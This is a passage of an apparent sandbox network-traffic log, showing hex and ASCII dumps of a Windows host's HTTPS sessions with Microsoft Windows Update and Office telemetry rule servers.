22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-25 04:59:09 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-25 04:59:09 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-25 04:59:09 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-25 04:59:09 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-25 04:59:09 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-25 04:59:09 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-25 04:59:09 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49807	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:09 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AT32BAhKSMEWEh4&MD=lSB9zO++ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 04:59:10 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: f0f5f96d-ee29-4ddb-9ba7-be6d620b5d3f MS-RequestId: 7e2da18b-7b12-4b61-a316-164fe7298c8a MS-CV: jV4yckB8IUWfOv4i.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 04:59:09 GMT Connection: close Content-Length: 30005
2024-11-25 04:59:10 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-25 04:59:10 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:11 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:11 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e7cf57de-301e-006e-404d-3cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045911Z-15b8b599d88tmlzshC1TEB4xpn000000058000000000m7vy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:11 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:11 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:11 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2aa1f1ad-b01e-003d-7c43-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045911Z-174c587ffdfb485jhC1TEBmc1s000000056g00000000mh83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:11 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:11 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:11 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ef81d43b-c01e-008d-1898-3d2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045911Z-15b8b599d88g5tp8hC1TEByx6w00000005e0000000009h8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:11 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:11 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:11 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 0e051980-b01e-005c-631b-3d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045911Z-178bfbc474bwlrhlhC1NYCy3kg000000070g000000007gct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:12 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:11 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:11 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045911Z-15b8b599d88wk8w4hC1TEB14b800000005gg000000007xkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:12 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:13 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:13 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 81892826-901e-00ac-7050-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045913Z-15b8b599d885v8r9hC1TEB104g00000005n0000000000csq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:14 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" 